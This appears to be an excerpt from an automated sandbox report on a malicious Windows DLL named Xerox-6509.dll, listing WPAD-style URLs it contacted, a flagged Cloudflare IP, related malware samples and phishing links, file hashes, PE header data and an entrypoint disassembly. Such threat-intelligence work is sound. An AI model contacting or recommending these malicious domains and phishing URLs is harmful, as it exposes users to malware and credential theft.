https://wpad.ru0994ecs.net/P	rundll32.exe, 00000006.00000003.2640601207.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2778251951.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3213033341.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2943171228.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2614551292.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3199182399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2824673687.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2420518407.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2896385302.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2752106654.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2840647682.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3126828094.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datr	rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.data	rundll32.exe, 00000006.00000003.1756225453.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085505867.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2023919527.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059847313.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1762076047.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/pad.dat	rundll32.exe, 00000006.00000003.2023919527.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/5	rundll32.exe, 00000005.00000002.3212145173.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datZ	rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063724054.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datXn	rundll32.exe, 00000005.00000003.2157934091.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2126275843.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608513617.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2027575872.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2090079990.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602164904.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2063675351.0000000000E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530532343.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1474428569.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658699398.0000000000E45000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576429693.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datg	rundll32.exe, 00000006.00000003.2023919527.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1540003280.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat=9	rundll32.exe, 00000004.00000003.2234034886.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2239962419.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datc	rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/	rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2240042641.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2555312580.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.dat	rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1848455305.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1483980621.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1668392852.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datn2	rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419422889.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419514786.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2155115703.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datt32	rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datz2	rundll32.exe, 00000004.00000003.1926281286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1647770477.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3212230393.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1631961738.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419422889.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2030406198.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2128803389.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1988173285.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2234034886.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2265828652.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2239962419.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1419514786.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475292025.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2218449658.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475197639.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2347507834.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.datx	rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991632241.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1991583376.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.datU2	rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603737524.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1626164313.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1735922553.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1660350216.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475292025.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1603621904.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1475197639.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1848455305.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat0	rundll32.exe, 00000005.00000003.1474379274.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1530412994.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1608481511.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1707094397.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat.	rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/y6	rundll32.exe, 00000004.00000002.3212230393.000000000085A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat6	rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat5	rundll32.exe, 00000006.00000003.1889834970.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1925631862.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1889738291.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1523318865.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/soft	rundll32.exe, 00000006.00000003.2555312580.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dath2	rundll32.exe, 00000004.00000003.1894326184.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1531089230.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2092661893.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1412760852.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/X-	rundll32.exe, 00000005.00000003.2851524522.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat32	rundll32.exe, 00000004.00000003.1993961092.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1610318346.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1710120144.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.datJ	rundll32.exe, 00000005.00000003.1630685171.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1658645800.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1630658859.0000000000E69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1646469901.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1646437445.0000000000E69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/m%	rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat(	rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1907987916.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1891609655.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1845254370.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1923903671.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1939774295.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1986104679.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat&	rundll32.exe, 00000005.00000003.1624359948.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat$	rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wpad.ru0994ecs.net/wpad.dat73	rundll32.exe, 00000004.00000003.1654176314.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1792422852.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2160540155.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.62.151	wpad.ru0994ecs.net	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1426752
Start date and time:	2024-04-16 15:34:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Xerox-6509.dll
Detection:	MAL
Classification:	mal52.evad.winDLL@10/0@1/1
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 20 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 7744 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7820 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.ShellCode.69.24616.9282.rtf	Get hash	malicious	Remcos	Browse	172.67.215.45
	YUoiqJo8Sk.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	Order #60-230958400986.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://dweb.link/ipfs/bafkreihtggm5lijbcmgnngp56fgtaxfzglditdvyi6vhk6v4yi5nmurq2u?filename=Login.html#hello@better.com	Get hash	malicious	Unknown	Browse	172.64.147.209
	http://www.mtalx.com	Get hash	malicious	Unknown	Browse	172.67.180.2
	#568350035791.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://gpecil.lt.emlnk.com/Prod/link-tracker?notrack=1&redirectUrl=aHR0cHMlM0ElMkYlMkZjbG91ZGZsYXJlLWlwZnMuY29tJTJGaXBmcyUyRmJhZnliZWlhZjNrY282amZzdzdhdnViYWt0bnpwYXJxd2gzbHI1dDNuemNqc3ZtcHJpaGtsN281bGc0JTJGcmVkbS5odG0=&sig=99DXnrYSiZpdDfkqnMYJRpy3PnAvtSYk2HKYz6YFKZ2N&iat=1713237212&a=%7C%7C69306052%7C%7C&account=gpecil.activehosted.com&email=F4bfVKmaMXtjS7TDfKA2MKfzvCZQYas98HDBNKIz2SAKM3u%2Fg2njsOpGSquaMXU%3D%3AY5GrrM1kEtmq9ruVN%2F%2BUdhE6VbXCM0CO&s=bGFoY2VuZS5ib3VrZWRqYXJAY29uZG9yLWR6Lm5ldA==&i=1A3A0A5#akoroneos@drinkbodyarmor.com	Get hash	malicious	Unknown	Browse	104.17.64.14
	http://www.mtalx.com	Get hash	malicious	Unknown	Browse	104.21.31.218
	https://ruv80zbas1.execute-api.us-east-1.amazonaws.com/prod/jump?redirect_url=http://bs-nakagawa.com/PMxdv77xgwVSyGqqOWzi/62df5bbd4291fb27f637dee413562c6e/bWljaGFlbC5jaHVAbGNhdHRlcnRvbi5jb20=&creative_id=601&tag_name=Rob_A_Facebook&operative_id=33090	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Vidar	Browse	104.21.62.151
	iterms.pdf.exe	Get hash	malicious	DarkCloud	Browse	104.21.62.151
	DHL Receipt_pdf.vbs	Get hash	malicious	AgentTesla	Browse	104.21.62.151
	806aab44-6c03-4577-a3c4-83aa13dc7875.tmp	Get hash	malicious	Unknown	Browse	104.21.62.151
	file.exe	Get hash	malicious	Vidar	Browse	104.21.62.151
	z15ORDERBR2024-B001054840.vbs	Get hash	malicious	Unknown	Browse	104.21.62.151
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	104.21.62.151
	4RttltipAA.exe	Get hash	malicious	Vidar	Browse	104.21.62.151
	Arrival Notice.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.62.151

File type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.94816530242887
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Xerox-6509.dll
File size:	239'616 bytes
MD5:	ebfa9058b78dd1f0909137225aa5fa48
SHA1:	2d8b3e90ebe4f23f3f77b1e25f98304d5507c2e7
SHA256:	2b53674953bb1d733bd4d3c5d88c30f4b049e5b1433b91b8e1b2a6f0ea49a951
SHA512:	7c389828f8fdba54361d9d45b98534ff69a103befd1894ae9a42ebb088a5977e9b13801a1079bc4ede46b925b84a602453ed5fc5ec98a7180593185dc4207e13
SSDEEP:	6144:tjcjVjz+mohaQ0v3792NwSECifu6YUy3VRJVBc:tjcjVjzPxQ050PE9RQI
TLSH:	F134129CFC8B09FCF8070A74157AFBFF6B25822B4860C665DB90D61CB47B504EA5A1C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i..f...........#...".....................0.....e......................... ................ .........................D..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x650c13b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x650c0000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL
DLL Characteristics:
Time Stamp:	0x660FFB69 [Fri Apr 5 13:23:53 2024 UTC]
TLS Callbacks:	0x650c16e0, 0x650c1690
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	95d4b4539f93a184475b3568838906a1

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [650FC370h], 00000000h
mov edx, dword ptr [esp+14h]
cmp edx, 01h
je 00007F8534DC311Ch
mov ecx, dword ptr [esp+18h]
mov eax, dword ptr [esp+10h]
call 00007F8534DC2F52h
add esp, 0Ch
retn 000Ch
lea esi, dword ptr [esi+00000000h]
call 00007F8534DC3260h
mov edx, dword ptr [esp+14h]
jmp 00007F8534DC30DDh
lea esi, dword ptr [esi+00h]
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], 650FC000h
mov dword ptr [esp+04h], eax
call 00007F8534DC3F8Eh
add esp, 1Ch
ret
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 650C1430h
call 00007F8534DC30D3h
leave
ret
lea esi, dword ptr [esi+00000000h]
lea esi, dword ptr [esi+00h]
nop
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword ptr [esp+1Ch]
call 00007F8534DC3130h
ret
mov eax, dword ptr [esp+18h]
call 00007F8534DC3120h
ret
mov eax, dword ptr [esp+10h]
call 00007F8534DC3110h
ret
mov eax, dword ptr [esp+30h]
call 00007F8534DC3118h
ret
mov edx, esp
jmp dword ptr [esp+18h]
mov edx, esp
jmp dword ptr [esp+20h]
mov edx, esp
jmp dword ptr [eax+eax+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d000	0x44	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e000	0x400	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x41000	0x1e4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3b00c	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3e0c4	0x88	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
